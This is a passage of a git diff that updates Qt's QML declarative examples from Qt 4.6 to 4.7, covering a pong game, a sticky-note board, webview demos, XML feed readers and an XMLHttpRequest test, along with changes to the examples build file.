@@ -8,20 +8,21 @@ Rectangle {
 
     // Make a ball to bounce
     Rectangle {
+        id: ball
+
         // Add a property for the target y coordinate
         property int targetY : page.height - 10
-        property var direction : "right"
+        property variant direction : "right"
 
-        id: ball
-        color: "Lime"
         x: 20; width: 20; height: 20; z: 1
+        color: "Lime"
 
         SoundEffect { id: paddle; source: "paddle.wav" }
         SoundEffect { id: wall; source: "click.wav" }
 
         // Move the ball to the right and back to the left repeatedly
         SequentialAnimation on x {
-            repeat: true
+            loops: Animation.Infinite
             NumberAnimation { to: page.width - 40; duration: 2000 }
             ScriptAction { script: paddle.play() }
             PropertyAction { target: ball; property: "direction"; value: "left" }
@@ -31,7 +32,7 @@ Rectangle {
         }
 
         // Make y follow the target y coordinate, with a velocity of 200
-        SpringFollow on y { source: ball.targetY; velocity: 200 }
+        SpringFollow on y { to: ball.targetY; velocity: 200 }
 
         // Detect the ball hitting the top or bottom of the view and bounce it
         onYChanged: {
@@ -52,7 +53,7 @@ Rectangle {
         color: "Lime"
         x: 2; width: 20; height: 90
         SpringFollow on y {
-            source: ball.y - 45; velocity: 300
+            to: ball.y - 45; velocity: 300
             enabled: ball.direction == 'left'
         }
     }
@@ -61,7 +62,7 @@ Rectangle {
         color: "Lime"
         x: page.width - 22; width: 20; height: 90
         SpringFollow on y {
-            source: ball.y-45; velocity: 300
+            to: ball.y-45; velocity: 300
             enabled: ball.direction == 'right'
         }
     }
diff --git a/examples/declarative/velocity/Day.qml b/examples/declarative/velocity/Day.qml
index f4c24a5..433295b 100644
--- a/examples/declarative/velocity/Day.qml
+++ b/examples/declarative/velocity/Day.qml
@@ -1,78 +1,101 @@
-import Qt 4.6
+import Qt 4.7
 
-Rectangle {
-    property alias day: dayText.text
-    property var stickies
+Component {
+    Item {
+        property variant stickies
 
-    id: page
-    width: 400; height: 500; radius: 7
-    border.color: "black"
+        id: page
+        width: 840; height: 480
 
-    Image { x: 10; y: 10; source: "cork.jpg" }
+        Image { source: "cork.jpg" }
 
-    Text {
-        id: dayText; x: 20; y: 20
-        height: 40; width: 370
-        font.pointSize: 14; font.bold: true
-        style: Text.Outline; styleColor: "#dedede"
-    }
+        Text {
+            text: name; x: 15; y: 8; height: 40; width: 370
+            font.pixelSize: 18; font.bold: true; color: "white"
+            style: Text.Outline; styleColor: "black"
+        }
 
-    Repeater {
-        model: page.stickies
+        Repeater {
+            model: notes
+            Item {
+                id: stickyPage
 
-        Item {
-            id: stickyPage
-            x: Math.random() * 200 + 100
-            y: Math.random() * 300 + 50
-            SpringFollow on rotation {
-                source: -flickable.horizontalVelocity / 100
-                spring: 2.0; damping: 0.1
-            }
+                property int randomX: Math.random() * 500 + 100
+                property int randomY: Math.random() * 200 + 50
 
-            Item {
-                id: sticky
-                scale: 0.5
-                Image {
-                    id: stickyImage; source: "sticky.png"; transformOrigin: Item.TopLeft
-                    smooth: true; y: -20; x: 8 + -width * 0.6 / 2; scale: 0.6
-                }
+                x: randomX; y: randomY
 
-                TextEdit {
-                    id: myText; smooth: true; font.pointSize: 28
-                    readOnly: false; x: -104; y: 36; wrap: true
-                    rotation: -8; text: noteText; width: 195; height: 172
+                SpringFollow on rotation {
+                    to: -flickable.horizontalVelocity / 100
+                    spring: 2.0; damping: 0.15
                 }
 
                 Item {
-                    y: -20
-                    x: stickyImage.x
-                    width: stickyImage.width * stickyImage.scale
-                    height: stickyImage.height * stickyImage.scale
-                    MouseArea {
-                        id: mouse
-                        onClicked: { myText.focus = true }
-                        anchors.fill: parent
-                        drag.target: stickyPage; drag.axis: MouseArea.XandYAxis; drag.minimumY: 0; drag.maximumY: 500
-                        drag.minimumX: 0; drag.maximumX: 400
+                    id: sticky
+                    scale: 0.7
+
+                    Image {
+                        id: stickyImage
+                        x: 8 + -width * 0.6 / 2; y: -20
+                        source: "note-yellow.png"
+                        scale: 0.6; transformOrigin: Item.TopLeft
+                        smooth: true
+                    }
+
+                    TextEdit {
+                        id: myText
+                        x: -104; y: 36; width: 215; height: 200
+                        smooth: true
+                        font.pixelSize: 24
+                        readOnly: false
+                        rotation: -8
+                        text: noteText
+                    }
+
+                    Item {
+                        x: stickyImage.x; y: -20
+                        width: stickyImage.width * stickyImage.scale
+                        height: stickyImage.height * stickyImage.scale
+
+                        MouseArea {
+                            id: mouse
+                            anchors.fill: parent
+                            drag.target: stickyPage
+                            drag.axis: "XandYAxis"
+                            drag.minimumY: 0
+                            drag.maximumY: page.height - 80
+                            drag.minimumX: 100
+                            drag.maximumX: page.width - 140
+                            onClicked: { myText.focus = true }
+                        }
                     }
                 }
-            }
 
-            Image {
-                source: "tack.png"; transformOrigin: Item.TopLeft
-                x: -width / 2; y: -height * 0.7 / 2; scale: 0.7
-            }
+                Image {
+                    x: -width / 2; y: -height * 0.5 / 2
+                    source: "tack.png"
+                    scale: 0.7; transformOrigin: Item.TopLeft
+                }
 
-            states: State {
-                name: "pressed"
-                when: mouse.pressed
-                PropertyChanges { target: sticky; rotation: 8; scale: 1 }
-                PropertyChanges { target: page; z: 8 }
-            }
+                states: State {
+                    name: "pressed"
+                    when: mouse.pressed
+                    PropertyChanges { target: sticky; rotation: 8; scale: 1 }
+                    PropertyChanges { target: page; z: 8 }
+                }
 
-            transitions: Transition {
-                NumberAnimation { properties: "rotation,scale"; duration: 200 }
+                transitions: Transition {
+                    NumberAnimation { properties: "rotation,scale"; duration: 200 }
+                }
             }
         }
     }
 }
+
+
+
+
+
+
+
+
diff --git a/examples/declarative/velocity/cork.jpg b/examples/declarative/velocity/cork.jpg
index d4d706c..160bc00 100644
--- a/examples/declarative/velocity/cork.jpg
+++ b/examples/declarative/velocity/cork.jpg
diff --git a/examples/declarative/velocity/note-yellow.png b/examples/declarative/velocity/note-yellow.png
new file mode 100644
index 0000000..8ddecc8
--- /dev/null
+++ b/examples/declarative/velocity/note-yellow.png
diff --git a/examples/declarative/velocity/sticky.png b/examples/declarative/velocity/sticky.png
deleted file mode 100644
index 73df3cd..0000000
--- a/examples/declarative/velocity/sticky.png
+++ /dev/null
diff --git a/examples/declarative/velocity/velocity.qml b/examples/declarative/velocity/velocity.qml
index 0d1881e..871bafc 100644
--- a/examples/declarative/velocity/velocity.qml
+++ b/examples/declarative/velocity/velocity.qml
@@ -1,108 +1,75 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
-    color: "lightSteelBlue"
-    width: 800; height: 600
+    width: 800; height: 480
+    color: "#464646"
 
     ListModel {
         id: list
+
         ListElement {
             name: "Sunday"
-            dayColor: "#808080"
-            notes: [
-                ListElement {
-                    noteText: "Lunch"
-                    },
-                    ListElement {
-                        noteText: "Party"
-                    }
+            notes: [ 
+                ListElement { noteText: "Lunch" },
+                ListElement { noteText: "Birthday Party" }
             ]
         }
+        
         ListElement {
             name: "Monday"
-            dayColor: "blue"
             notes: [
-                ListElement {
-                    noteText: "Pickup kids"
-                    },
-                    ListElement {
-                        noteText: "Checkout kinetic"
-                        },
-                        ListElement {
-                            noteText: "Read email"
-                        }
+                ListElement { noteText: "Pickup kids from\nschool\n4.30pm" },
+                ListElement { noteText: "Checkout Qt" }, ListElement { noteText: "Read email" }
             ]
         }
+
         ListElement {
             name: "Tuesday"
-            dayColor: "yellow"
             notes: [
-                ListElement {
-                    noteText: "Walk dog"
-                    },
-                    ListElement {
-                        noteText: "Buy newspaper"
-                    }
+                ListElement { noteText: "Walk dog" },
+                ListElement { noteText: "Buy newspaper" }
             ]
         }
+
         ListElement {
             name: "Wednesday"
-            dayColor: "purple"
-            notes: [
-                ListElement {
-                    noteText: "Cook dinner"
-                    },
-                    ListElement {
-                        noteText: "Eat dinner"
-                    }
-            ]
+            notes: [ ListElement { noteText: "Cook dinner" } ]
         }
+
         ListElement {
             name: "Thursday"
-            dayColor: "blue"
             notes: [
-                ListElement {
-                    noteText: "5:30pm Meeting"
-                    },
-                    ListElement {
-                        noteText: "Weed garden"
-                    }
+                ListElement { noteText: "Meeting\n5.30pm" },
+                ListElement { noteText: "Weed garden" }
             ]
         }
+
         ListElement {
             name: "Friday"
-            dayColor: "green"
             notes: [
-                ListElement {
-                    noteText: "Still work"
-                    },
-                    ListElement {
-                        noteText: "Drink"
-                    }
+                ListElement { noteText: "More work" },
+                ListElement { noteText: "Grocery shopping" }
             ]
         }
+
         ListElement {
             name: "Saturday"
-            dayColor: "orange"
             notes: [
-                ListElement {
-                    noteText: "Drink"
-                    },
-                    ListElement {
-                        noteText: "Drink"
-                    }
+                ListElement { noteText: "Drink" },
+                ListElement { noteText: "Download Qt\nPlay with QML" }
             ]
         }
     }
-    Flickable {
+
+    ListView {
         id: flickable
-        anchors.fill: parent; contentWidth: lay.width
-        Row {
-            id: lay
-            Repeater {
-                model: list
-                Component { Day { day: name; color: dayColor; stickies: notes } }
-            }
-        }
+
+        anchors.fill: parent
+        focus: true
+        highlightRangeMode: ListView.StrictlyEnforceRange
+        orientation: ListView.Horizontal
+        snapMode: ListView.SnapOneItem
+        model: list
+        delegate: Day { }
     }
 }
diff --git a/examples/declarative/webview/alerts.html b/examples/declarative/webview/alerts.html
new file mode 100644
index 0000000..82caddf
--- /dev/null
+++ b/examples/declarative/webview/alerts.html
@@ -0,0 +1,5 @@
+<html>
+<body onclick="alert('This is an alert')">
+<p>This is a web page. It fires an alert when clicked.
+</body>
+</html>
diff --git a/examples/declarative/webview/alerts.qml b/examples/declarative/webview/alerts.qml
new file mode 100644
index 0000000..6a5a0d2
--- /dev/null
+++ b/examples/declarative/webview/alerts.qml
@@ -0,0 +1,58 @@
+import Qt 4.7
+import org.webkit 1.0
+
+WebView {
+    id: webView
+    width: 120
+    height: 150
+    url: "alerts.html"
+
+    onAlert: popup.show(message)
+
+    Rectangle {
+        id: popup
+
+        color: "red"
+        border.color: "black"; border.width: 2
+        radius: 4
+
+        y: parent.height // off "screen"
+        anchors.horizontalCenter: parent.horizontalCenter
+        width: label.width+5
+        height: label.height+5
+
+        opacity: 0
+
+        function show(t) {
+            label.text = t
+            popup.state = "visible"
+            timer.start()
+        }
+        states: State {
+            name: "visible"
+            PropertyChanges { target: popup; opacity: 1 }
+            PropertyChanges { target: popup; y: (webView.height-popup.height)/2 }
+        }
+
+        transitions: [
+            Transition { from: ""; PropertyAnimation { properties: "opacity,y"; duration: 65 } },
+            Transition { from: "visible"; PropertyAnimation { properties: "opacity,y"; duration: 500 } }
+        ]
+
+        Timer {
+            id: timer
+            interval: 1000
+            onTriggered: popup.state = ""
+        }
+
+        Text {
+            id: label
+            anchors.centerIn: parent
+            color: "white"
+            font.pixelSize: 20
+            width: webView.width*0.75
+            wrapMode: Text.WordWrap
+            horizontalAlignment: "AlignHCenter"
+        }
+    }
+}
diff --git a/examples/declarative/webview/autosize.qml b/examples/declarative/webview/autosize.qml
index 3c00ee6..9632883 100644
--- a/examples/declarative/webview/autosize.qml
+++ b/examples/declarative/webview/autosize.qml
@@ -1,19 +1,20 @@
-import Qt 4.6
+import Qt 4.7
 import org.webkit 1.0
 
 // The WebView size is determined by the width, height,
 // preferredWidth, and preferredHeight properties.
 Rectangle {
     id: rect
-    color: "white"
     width: 200
     height: layout.height
+
     Column {
         id: layout
         spacing: 2
         WebView {
             html: "No width defined."
-            Rectangle {                color: "#10000000"
+            Rectangle {
+                color: "#10000000"
                 anchors.fill: parent
             }
         }
diff --git a/examples/declarative/webview/content/FieldText.qml b/examples/declarative/webview/content/FieldText.qml
index d282209..d1d003f 100644
--- a/examples/declarative/webview/content/FieldText.qml
+++ b/examples/declarative/webview/content/FieldText.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: fieldText
@@ -10,30 +10,26 @@ Item {
     signal cancelled
     signal startEdit
 
-    Script {
-
-        function edit() {
-            if (!mouseGrabbed) {
-                fieldText.startEdit();
-                fieldText.state='editing';
-                mouseGrabbed=true;
-            }
-        }
-
-        function confirm() {
-            fieldText.state='';
-            fieldText.text = textEdit.text;
-            mouseGrabbed=false;
-            fieldText.confirmed();
+    function edit() {
+        if (!mouseGrabbed) {
+            fieldText.startEdit();
+            fieldText.state='editing';
+            mouseGrabbed=true;
         }
+    }
 
-        function reset() {
-            textEdit.text = fieldText.text;
-            fieldText.state='';
-            mouseGrabbed=false;
-            fieldText.cancelled();
-        }
+    function confirm() {
+        fieldText.state='';
+        fieldText.text = textEdit.text;
+        mouseGrabbed=false;
+        fieldText.confirmed();
+    }
 
+    function reset() {
+        textEdit.text = fieldText.text;
+        fieldText.state='';
+        mouseGrabbed=false;
+        fieldText.cancelled();
     }
 
     Image {
diff --git a/examples/declarative/webview/content/Mapping/Map.qml b/examples/declarative/webview/content/Mapping/Map.qml
index 6c3b021..5d3ba81 100644
--- a/examples/declarative/webview/content/Mapping/Map.qml
+++ b/examples/declarative/webview/content/Mapping/Map.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 import org.webkit 1.0
 
 Item {
@@ -6,16 +6,21 @@ Item {
     property real latitude: -34.397
     property real longitude: 150.644
     property string address: ""
+    property alias status: js.status
     WebView {
         id: map
         anchors.fill: parent
         url: "map.html"
         javaScriptWindowObjects: QtObject {
+            id: js
             WebView.windowObjectName: "qml"
             property real lat: page.latitude
             property real lng: page.longitude
             property string address: page.address
-            onAddressChanged: {map.evaluateJavaScript("goToAddress()")}
+            property string status: "Loading"
+            onAddressChanged: { if (map.url != "" && map.progress==1) map.evaluateJavaScript("goToAddress()") }
         }
+        pressGrabTime: 0
+        onLoadFinished: { evaluateJavaScript("goToAddress()"); }
     }
 }
diff --git a/examples/declarative/webview/content/Mapping/map.html b/examples/declarative/webview/content/Mapping/map.html
index 72f426a..a8726fd 100755
--- a/examples/declarative/webview/content/Mapping/map.html
+++ b/examples/declarative/webview/content/Mapping/map.html
@@ -33,9 +33,14 @@
         }
         if (map)
             req.bounds = map.getBounds()
+        window.qml.status = "Loading";
         geocoder.geocode(req, function(results, status) {
-          if (status == google.maps.GeocoderStatus.OK)
+          if (status == google.maps.GeocoderStatus.OK) {
+            window.qml.status = "Ready";
             goToLatLng(results[0].geometry.location,results[0].geometry.bounds);
+          } else {
+            window.qml.status = "Error";
+          }
         });
       }
   }
diff --git a/examples/declarative/webview/content/SpinSquare.qml b/examples/declarative/webview/content/SpinSquare.qml
index 466c99e..dba48d4 100644
--- a/examples/declarative/webview/content/SpinSquare.qml
+++ b/examples/declarative/webview/content/SpinSquare.qml
@@ -1,8 +1,8 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
-    property var period : 250
-    property var color : "black"
+    property variant period : 250
+    property variant color : "black"
     id: root
 
     Item {
@@ -15,10 +15,10 @@ Item {
             width: root.width
             height: width
         }
-        rotation: NumberAnimation {
+        NumberAnimation on rotation {
             from: 0
             to: 360
-            repeat: true
+            loops: Animation.Infinite
             duration: root.period
         }
     }
diff --git a/examples/declarative/webview/evalandattach.html b/examples/declarative/webview/evalandattach.html
deleted file mode 100644
index 48a1c33..0000000
--- a/examples/declarative/webview/evalandattach.html
+++ /dev/null
@@ -1,31 +0,0 @@
-<body bgcolor=gray onload="ftext.confirmed.connect (ftext_confirmed); ">
-    <script>
-      do_it = function () {var oPressed = document.getElementById('pressed');
-      oPressed.innerHTML = 'MouseArea in QML clicked!';};
-      ftext_confirmed = function () { statusText1.text = ftext.text; var oT = document.getElementById('htmlTextInput'); oT.value = ftext.text }
-    </script>
-    <table border=1>
-      <tr>
-        <td>&nbsp</td>
-        <td id='pressed'></td>
-      </tr>
-      <tr>
-        <td><label for='htmlTextInput'>Type something:</label></td>
-        <td><input type='text' name='htmlTextInput' size='25' id='htmlTextInput'
-		   onfocus="statusText2.text = 'Focus in html text input.'"></td>
-      </tr>
-      <tr>
-        <td><label for='htmlButton'>&nbsp;</label></td>
-        <td>
-          <input type='button' id='htmlButton' value='Push'
-		 onclick="var oText = document.getElementById('htmlTextInput'); statusText1.text = oText.value; ftext.text = oText.value" />
-      </tr>
-    </table>
-    <p>
-      Below a qml(QFxItem) object inside webkit:
-    </p>
-    <object data=content/FieldText.qml TYPE=application/x-qt-plugin id="ftext_id" text="" label="Cool:" width="200" 
-	    objectname="ftext">
-      </object>
-</body>
-
diff --git a/examples/declarative/webview/evalandattach.qml b/examples/declarative/webview/evalandattach.qml
deleted file mode 100644
index d219d84..0000000
--- a/examples/declarative/webview/evalandattach.qml
+++ /dev/null
@@ -1,55 +0,0 @@
-import Qt 4.6
-import org.webkit 1.0
-
-Item {
-    height: 640
-    width: 360
-    Text {
-        id: teksti
-        text: webView.statusText1
-        anchors.top: parent.top
-        height: 30
-        anchors.left: parent.left
-        width: parent.width/2
-    }
-
-    Text {
-        id: teksti2
-        text: webView.statusText2
-        anchors.top: parent.top
-        height: 30
-        anchors.left: teksti.right
-        anchors.right: parent.right
-    }
-
-    MouseArea {
-        anchors.fill: teksti
-        onClicked: { webView.evaluateJavaScript ("do_it()") }
-    }
-
-    WebView {
-        id: webView
-        property alias statusText1: txt.text
-        property alias statusText2: txt2.text
-        anchors.top: teksti.bottom
-        anchors.bottom: parent.bottom
-        anchors.left: parent.left
-        anchors.right: parent.right
-        focus: true
-        settings.pluginsEnabled: true
-        javaScriptWindowObjects: [
-        QtObject {
-            id: txt
-            WebView.windowObjectName: "statusText1"
-            property string text: "Click me!"
-        },
-        QtObject {
-            id: txt2
-            WebView.windowObjectName: "statusText2"
-            property string text: ""
-        }
-        ]
-        url: "evalandattach.html"
-    }
-
-}
diff --git a/examples/declarative/webview/googleMaps.qml b/examples/declarative/webview/googleMaps.qml
index a04fecb..5506012 100644
--- a/examples/declarative/webview/googleMaps.qml
+++ b/examples/declarative/webview/googleMaps.qml
@@ -5,7 +5,7 @@
 // API, but users from QML don't need to understand the implementation in
 // order to create a Map.
 
-import Qt 4.6
+import Qt 4.7
 import org.webkit 1.0
 import "content/Mapping"
 
@@ -14,14 +14,15 @@ Map {
     width: 300
     height: 300
     address: "Paris"
+
     Rectangle {
-        color: "white"
+        x: 70
         width: input.width + 20
         height: input.height + 4
+        anchors.bottom: parent.bottom; anchors.bottomMargin: 5
         radius: 5
-        anchors.bottom: parent.bottom
-        anchors.bottomMargin: 5
-        x: 70
+        opacity: map.status == "Ready" ? 1 : 0
+
         TextInput {
             id: input
             text: map.address
@@ -29,4 +30,14 @@ Map {
             Keys.onReturnPressed: map.address = input.text
         }
     }
+
+    Text {
+        id: loading
+        anchors.centerIn: parent
+        text: map.status == "Error" ? "Error" : "Loading"
+        opacity: map.status == "Ready" ? 0 : 1
+        font.pixelSize: 30
+
+        Behavior on opacity { NumberAnimation{} }
+    }
 }
diff --git a/examples/declarative/webview/inline-html.qml b/examples/declarative/webview/inline-html.qml
index 41dfec3..eec7fc6 100644
--- a/examples/declarative/webview/inline-html.qml
+++ b/examples/declarative/webview/inline-html.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 import org.webkit 1.0
 
 // Inline HTML with loose formatting can be
diff --git a/examples/declarative/webview/newwindows.qml b/examples/declarative/webview/newwindows.qml
index c62aba6..2e4a72e 100644
--- a/examples/declarative/webview/newwindows.qml
+++ b/examples/declarative/webview/newwindows.qml
@@ -3,7 +3,7 @@
 // Note that to open windows from JavaScript, you will need to
 // allow it on WebView with settings.javascriptCanOpenWindows: true
 
-import Qt 4.6
+import Qt 4.7
 import org.webkit 1.0
 
 Grid {
diff --git a/examples/declarative/webview/qdeclarative-in-html.qml b/examples/declarative/webview/qdeclarative-in-html.qml
deleted file mode 100644
index 172ea4b..0000000
--- a/examples/declarative/webview/qdeclarative-in-html.qml
+++ /dev/null
@@ -1,33 +0,0 @@
-import Qt 4.6
-import org.webkit 1.0
-
-// The WebView supports QML data through the HTML OBJECT tag
-Rectangle {
-    color:"blue"
-    Flickable {
-        width: parent.width
-        height: parent.height/2
-        contentWidth: web.width*web.scale
-        contentHeight: web.height*web.scale
-        WebView {
-            id: web
-            width: 250
-            height: 420
-            zoomFactor: 0.75
-            smoothCache: true
-            settings.pluginsEnabled: true
-            html: "<html>\
-                <body bgcolor=white>\
-                    These are QML plugins, shown in a QML WebView via HTML OBJECT tags, all scaled to 75%\
-                    and placed in a Flickable area...\
-                    <table border=1>\
-                        <tr><th>Duration <th>Color <th>Plugin\
-                        <tr><td>500      <td>red   <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=500 color=red />\
-                        <tr><td>2000     <td>blue  <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=2000 color=blue />\
-                        <tr><td>1000     <td>green <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=1000 color=green />\
-                    </table>\
-                </body>\
-                </html>"
-        }
-    }
-}
diff --git a/examples/declarative/webview/transparent.qml b/examples/declarative/webview/transparent.qml
index 5530819..e4efc31 100644
--- a/examples/declarative/webview/transparent.qml
+++ b/examples/declarative/webview/transparent.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 import org.webkit 1.0
 
 // The WebView background is transparent
@@ -7,6 +7,7 @@ Rectangle {
     color: "green"
     width: web.width
     height: web.height
+
     WebView {
         id: web
         html: "Hello <b>World!</b>"
diff --git a/examples/declarative/workerlistmodel/timedisplay.qml b/examples/declarative/workerlistmodel/timedisplay.qml
deleted file mode 100644
index 3bf2630..0000000
--- a/examples/declarative/workerlistmodel/timedisplay.qml
+++ /dev/null
@@ -1,33 +0,0 @@
-// ![0]
-import Qt 4.6
-
-ListView {
-    width: 200
-    height: 300
-
-    model: listModel
-    delegate: Component {
-        Text { text: time }
-    }
-
-    WorkerListModel { id: listModel }
-
-    WorkerScript {
-        id: worker
-        source: "dataloader.js"
-        onMessage: {
-            console.log("Worker said", messageObject.msg);
-        }
-    }
-
-    Timer {
-        id: timer
-        interval: 2000; repeat: true; running: true; triggeredOnStart: true
-
-        onTriggered: {
-            var msg = {'action': 'appendCurrentTime', 'model': listModel};
-            worker.sendMessage(msg);
-        }
-    }
-}
-// ![0]
diff --git a/examples/declarative/workerscript/workerscript.qml b/examples/declarative/workerscript/workerscript.qml
index 0566f1f..6c6253b 100644
--- a/examples/declarative/workerscript/workerscript.qml
+++ b/examples/declarative/workerscript/workerscript.qml
@@ -1,7 +1,7 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
-    width: 480; height: 320;
+    width: 480; height: 320
 
     WorkerScript {
         id: myWorker
@@ -16,8 +16,7 @@ Rectangle {
 
     Rectangle {
         width: 200; height: 200
-        anchors.left: parent.left
-        anchors.leftMargin: 20
+        anchors.left: parent.left; anchors.leftMargin: 20
         color: "red"
 
         MouseArea { 
@@ -28,8 +27,7 @@ Rectangle {
 
     Rectangle {
         width: 200; height: 200
-        anchors.right: parent.right
-        anchors.rightMargin: 20
+        anchors.right: parent.right; anchors.rightMargin: 20
         color: "blue"
 
         MouseArea { 
@@ -40,8 +38,6 @@ Rectangle {
 
     Text {
         text: "Click a Rectangle!"
-        anchors.horizontalCenter: parent.horizontalCenter
-        anchors.bottom: parent.bottom
-        anchors.bottomMargin: 50
+        anchors { horizontalCenter: parent.horizontalCenter; bottom: parent.bottom; bottomMargin: 50 }
     }
 }
diff --git a/examples/declarative/xmldata/daringfireball.qml b/examples/declarative/xmldata/daringfireball.qml
index 456f309..a1df809 100644
--- a/examples/declarative/xmldata/daringfireball.qml
+++ b/examples/declarative/xmldata/daringfireball.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     color: "white"
@@ -24,15 +24,17 @@ Rectangle {
                 text: title; font.bold: true
             }
             Text {
+                anchors { left: titleText.right; leftMargin: 10 }
                 text: 'by ' + tagline
-                anchors.left: titleText.right; anchors.leftMargin: 10
                 font.italic: true
             }
             Text {
                 x: 10
-                text: content
+                width: 580
                 anchors.top: titleText.bottom
-                width: 580; wrap: true
+                text: content
+                wrapMode: Text.WordWrap
+
                 onLinkActivated: { console.log('link clicked: ' + link) }
             }
         }
@@ -40,6 +42,7 @@ Rectangle {
 
     ListView {
         anchors.fill: parent
-        model: feedModel; delegate: feedDelegate
+        model: feedModel
+        delegate: feedDelegate
     }
 }
diff --git a/examples/declarative/xmldata/yahoonews.qml b/examples/declarative/xmldata/yahoonews.qml
index f7c269c..668778e 100644
--- a/examples/declarative/xmldata/yahoonews.qml
+++ b/examples/declarative/xmldata/yahoonews.qml
@@ -1,11 +1,12 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
+    width: 600; height: 600
+
     gradient: Gradient {
         GradientStop { position: 0; color: "black" }
         GradientStop { position: 1.0; color: "#AAAAAA" }
     }
-    width: 600; height: 600
 
     XmlListModel {
         id: feedModel
@@ -18,6 +19,7 @@ Rectangle {
 
     Component {
         id: feedDelegate
+
         Item {
             id: delegate
             height: wrapper.height + 10
@@ -30,25 +32,27 @@ Rectangle {
 
             Rectangle {
                 id: wrapper
-                y: 5; height: titleText.height + 10; width: 580
-                color: "#F0F0F0"; radius: 5
+
+                width: 580; y: 5; height: titleText.height + 10
+                color: "#F0F0F0"
+                radius: 5
+                
                 Text {
                     id: titleText
                     x: 10; y: 5
                     text: '<a href=\'' + link + '\'>' + title + '</a>'
-                    font.bold: true; font.family: "Helvetica"; font.pointSize: 14
+                    font { bold: true; family: "Helvetica"; pointSize: 14 }
+
                     onLinkActivated: { console.log('link clicked: ' + link) }
                 }
 
                 Text {
-                    x: 10
                     id: descriptionText
+                    x: 10; width: 560
+                    anchors.top: titleText.bottom; anchors.topMargin: 5
                     text: description
-                    width: 560
-                    wrap: true
+                    wrapMode: Text.WordWrap
                     font.family: "Helvetica"
-                    anchors.top: titleText.bottom
-                    anchors.topMargin: 5
                     opacity: 0
                 }
 
diff --git a/examples/declarative/xmlhttprequest/test.qml b/examples/declarative/xmlhttprequest/test.qml
index 15ac54b..c7e7e6d 100644
--- a/examples/declarative/xmlhttprequest/test.qml
+++ b/examples/declarative/xmlhttprequest/test.qml
@@ -1,36 +1,36 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     width: 800; height: 600
 
     MouseArea {
         anchors.fill: parent
+
         onClicked: { 
+            var doc = new XMLHttpRequest();
+            doc.onreadystatechange = function() {
+                if (doc.readyState == XMLHttpRequest.HEADERS_RECEIVED) {
+                    console.log("Headers -->");
+                    console.log(doc.getAllResponseHeaders ());
+                    console.log("Last modified -->");
+                    console.log(doc.getResponseHeader ("Last-Modified"));
+                }
+                else if (doc.readyState == XMLHttpRequest.DONE) {
 
-                var doc = new XMLHttpRequest();
-                doc.onreadystatechange = function() {
-                    if (doc.readyState == XMLHttpRequest.HEADERS_RECEIVED) {
-                        console.log("Headers -->");
-                        console.log(doc.getAllResponseHeaders ());
-                        console.log("Last modified -->");
-                        console.log(doc.getResponseHeader ("Last-Modified"));
+                    var a = doc.responseXML.documentElement;
+                    for (var ii = 0; ii < a.childNodes.length; ++ii) {
+                        console.log(a.childNodes[ii].nodeName);
                     }
-                    else if (doc.readyState == XMLHttpRequest.DONE) {
-    
-                        var a = doc.responseXML.documentElement;
-                        for (var ii = 0; ii < a.childNodes.length; ++ii) {
-                            console.log(a.childNodes[ii].nodeName);
-                        }
-                        console.log("Headers -->");
-                        console.log(doc.getAllResponseHeaders ());
-                        console.log("Last modified -->");
-                        console.log(doc.getResponseHeader ("Last-Modified"));
+                    console.log("Headers -->");
+                    console.log(doc.getAllResponseHeaders ());
+                    console.log("Last modified -->");
+                    console.log(doc.getResponseHeader ("Last-Modified"));
 
-                    }
                 }
+            }
 
-                doc.open("GET", "test.xml");
-                doc.send();
+            doc.open("GET", "test.xml");
+            doc.send();
         }
     }
 }
diff --git a/examples/examples.pro b/examples/examples.pro
index ec5cc5f9..43cad55 100644
--- a/examples/examples.pro
+++ b/examples/examples.pro
@@ -1,5 +1,12 @@
 TEMPLATE      = subdirs
 SUBDIRS       = \
+                network \
+                statemachine \
+                threads \
+                xml
+
+!contains(QT_CONFIG, no-gui) {
+    SUBDIRS  += \
                 animation \
                 desktop \
                 dialogs \
@@ -11,20 +18,17 @@ SUBDIRS       = \
                 layouts \
                 linguist \
                 mainwindows \
-                network \
                 painting \
                 qtconcurrent \
                 richtext \
                 sql \
-                statemachine \
-                threads \
                 tools \
                 tutorials \
                 widgets \
                 uitools \
-                xml \
                 multitouch \
                 gestures
+}
 
 symbian: SUBDIRS = \
                 graphicsview \
@@ -40,7 +44,7 @@ symbian: SUBDIRS = \
                 gestures \
                 xml
 
-contains(QT_CONFIG, multimedia) {
+!contains(QT_CONFIG, no-gui):contains(QT_CONFIG, multimedia) {
     SUBDIRS += multimedia
 }
 
@@ -49,16 +53,17 @@ contains(QT_CONFIG, script): SUBDIRS += script
 contains(QT_CONFIG, phonon):!static: SUBDIRS += phonon
 embedded:SUBDIRS += qws
 !wince*:!symbian: {
-    !contains(QT_EDITION, Console):contains(QT_BUILD_PARTS, tools):SUBDIRS += designer
-    contains(QT_BUILD_PARTS, tools):SUBDIRS += qtestlib help
+    !contains(QT_EDITION, Console):!contains(QT_CONFIG, no-gui):contains(QT_BUILD_PARTS, tools):SUBDIRS += designer
+    contains(QT_BUILD_PARTS, tools):!contains(QT_CONFIG, no-gui):SUBDIRS += qtestlib help
 } else {
-    contains(QT_BUILD_PARTS, tools):SUBDIRS += qtestlib
+    contains(QT_BUILD_PARTS, tools):!contains(QT_CONFIG, no-gui):SUBDIRS += qtestlib
 }
 contains(QT_CONFIG, opengl): SUBDIRS += opengl
 contains(QT_CONFIG, openvg): SUBDIRS += openvg
 contains(QT_CONFIG, dbus): SUBDIRS += dbus
+contains(QT_CONFIG, declarative): SUBDIRS += declarative
 win32: SUBDIRS += activeqt
-contains(QT_CONFIG, xmlpatterns): SUBDIRS += xmlpatterns
